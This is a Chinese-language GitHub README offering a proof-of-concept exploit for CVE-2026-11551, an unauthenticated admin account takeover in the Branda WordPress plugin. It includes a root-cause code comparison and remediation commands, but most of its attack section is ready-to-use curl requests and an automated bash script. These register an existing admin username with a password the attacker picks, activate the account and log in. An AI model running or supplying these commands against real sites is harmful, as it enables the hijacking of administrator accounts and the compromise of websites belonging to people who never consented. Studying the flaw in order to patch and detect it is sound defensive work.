Polosss/By-Poloss..-..CVE-2026-11551-PoC
GitHub: Polosss/By-Poloss..-..CVE-2026-11551-PoC
WordPress Branda 插件未授权账户接管漏洞(CVE-2026-11551,CVSS 9.8)的概念验证代码,复现并利用密码更新流程中缺失身份验证导致的权限提升问题。
Stars: 0 | Forks: 0
# CVE-2026-11551:Branda 插件 - 通过账户接管实现未授权权限提升
## 概述
- **CVE ID**: CVE-2026-11551
- **CVSS 评分**: 9.8(严重)
- **受影响版本**: Branda – White Label & Branding <= 3.4.29
- **已修复版本**: 3.4.31
- **发布日期**: 2026年6月19日
## 漏洞描述
WordPress 的 Branda 插件在 3.4.29 及以下的所有版本中,存在通过账户接管引发的权限提升漏洞。这是由于该插件在更新用户密码之前未正确验证用户身份。这使得未经身份验证的攻击者能够更改任意用户(包括管理员)的密码,并利用此漏洞获取其账户的访问权限。
## 技术分析
### 漏洞代码位置
`/inc/modules/login-screen/signup-password.php`
### 根本原因
易受攻击版本中的 `pre_insert_user_data()` 函数缺乏正确的验证:
```
// Vulnerable version (3.4.29)
public function pre_insert_user_data( $data, $update, $id ) {
if ( is_multisite() ) {
// Multisite code...
}
// Missing: if ($update) return $data; <-- VULNERABILITY
if ( empty( $data['user_pass'] ) && empty( $_POST['password_1'] ) ) {
$data['user_pass'] = wp_hash_password( wp_generate_password( 20, false ) );
} elseif ( ! empty( $_POST['password_1'] ) ) {
// Set the password from POST data
$data['user_pass'] = wp_hash_password( $_POST['password_1'] );
}
return $data;
}
```
### 已修复代码 (3.4.31)
```
public function pre_insert_user_data( $data, $update, $id ) {
if ( is_multisite() ) {
// Multisite code with proper checks...
}
// FIX: Added check to prevent updating existing users
if ( $update ) {
return $data;
}
if ( empty( $data['user_pass'] ) && empty( $_POST['password_1'] ) ) {
$data['user_pass'] = wp_hash_password( wp_generate_password( 20, false ) );
} elseif ( ! empty( $_POST['password_1'] ) ) {
$data['user_pass'] = wp_hash_password( $_POST['password_1'] );
}
return $data;
}
```
## 攻击向量
### 向量 1:多站点注册(主要)
1. 攻击者访问 `/wp-signup.php`
2. 使用已存在的管理员用户名(例如 "admin")进行注册
3. 通过 `password_1` 参数设置自定义密码
4. Branda 将密码存储在注册 meta 中
5. 激活时,密码会覆盖现有管理员的密码
### 向量 2:单站点注册
1. 攻击者访问 `/wp-login.php?action=register`
2. Branda 在表单中添加密码字段
3. 攻击者使用已存在的用户名提交注册
4. 如果激活完成,密码将被设置
## 概念验证 (curl)
### 步骤 1:检查是否启用了注册功能
```
curl -s -k "https://TARGET/wp-login.php?action=register" | grep -i "registration"
```
### 步骤 2:检查 WordPress 类型(多站点 vs 单站点)
```
curl -s -k -I "https://TARGET/wp-signup.php" | grep "HTTP/"
```
### 步骤 3:对于多站点 - 使用管理员用户名注册
```
curl -s -k -c cookies.txt -b cookies.txt \
-X POST "https://TARGET/wp-signup.php" \
-d "user_name=admin" \
-d "user_email=attacker@evil.com" \
-d "password_1=NewP@ssw0rd!" \
-d "password_2=NewP@ssw0rd!" \
-d "signup_for=blog"
```
### 步骤 4:对于单站点 - 注册
```
curl -s -k -c cookies.txt -b cookies.txt \
-X POST "https://TARGET/wp-login.php?action=register" \
-d "user_login=admin" \
-d "user_email=attacker@evil.com" \
-d "password_1=NewP@ssw0rd!" \
-d "password_2=NewP@ssw0rd!" \
-d "wp-submit=Register"
```
### 步骤 5:激活(如果需要电子邮件验证)
```
# 从 email 中提取 activation key 并访问:
curl -s -k -c cookies.txt -b cookies.txt \
"https://TARGET/wp-activate.php?key=ACTIVATION_KEY"
```
### 步骤 6:验证 - 尝试登录
```
curl -s -k -c cookies.txt -b cookies.txt \
-X POST "https://TARGET/wp-login.php" \
-d "log=admin" \
-d "pwd=NewP@ssw0rd!" \
-d "wp-submit=Log In" \
-L | grep -i "dashboard\|wp-admin\|error"
```
## 自动化利用脚本
```
#!/bin/bash
TARGET="https://TARGET"
USERNAME="admin"
NEW_PASSWORD="Pwned$(date +%s)!"
echo "[*] Registering $USERNAME with password $NEW_PASSWORD..."
# Multisite 攻击
curl -s -k -c /tmp/cookies.txt \
-X POST "$TARGET/wp-signup.php" \
-d "user_name=$USERNAME" \
-d "user_email=attacker@evil.com" \
-d "password_1=$NEW_PASSWORD" \
-d "password_2=$NEW_PASSWORD"
echo "[*] Check email for activation link"
echo "[*] After activation, try: curl -X POST $TARGET/wp-login.php -d 'log=$USERNAME' -d 'pwd=$NEW_PASSWORD'"
```
## 利用要求
1. **已安装并激活 Branda 插件 <= 3.4.29 版本的 WordPress**
2. **必须启用用户注册功能**(检查 `Settings > General > Membership: Anyone can register`)
3. **要成功接管账户**:目标用户名必须存在
4. **对于多站点**:需获取激活邮件(或绕过激活)
## 修复方案
将 Branda 插件更新至 3.4.31 或更高版本:
```
# 通过 WordPress Admin
Dashboard > Plugins > Branda > Update
# 通过 WP-CLI
wp plugin update branda-white-labeling
# 通过 SSH
wp plugin update branda-white-labeling --version=3.4.31
```
## 影响
- **机密性**: 高 - 攻击者可获取任何用户账户的访问权限
- **完整性**: 高 - 攻击者可以修改内容
- **可用性**: 高 - 攻击者可以锁定合法用户
## 参考
- [Wordfence Intelligence](https://www.wordfence.com/threat-intel/vulnerabilities/cve-2026-11551)
- [WPScan](https://wpscan.com/vulnerability/cve-2026-11551)
- [Plugin Trac](https://plugins.trac.wordpress.org/browser/branda-white-labeling/tags/3.4.29/inc/modules/login-screen/signup-password.php)
## W.P.E.F
- [W.P.E.F Telegram 频道 #1](https://t.me/wpef0)
- [W.P.E.F Telegram 频道 #2](https://t.me/wpef01)
标签:OpenVAS, PHP, WordPress, 协议分析, 应用安全, 文件完整性监控, 权限提升, 漏洞分析, 账户接管, 路径探测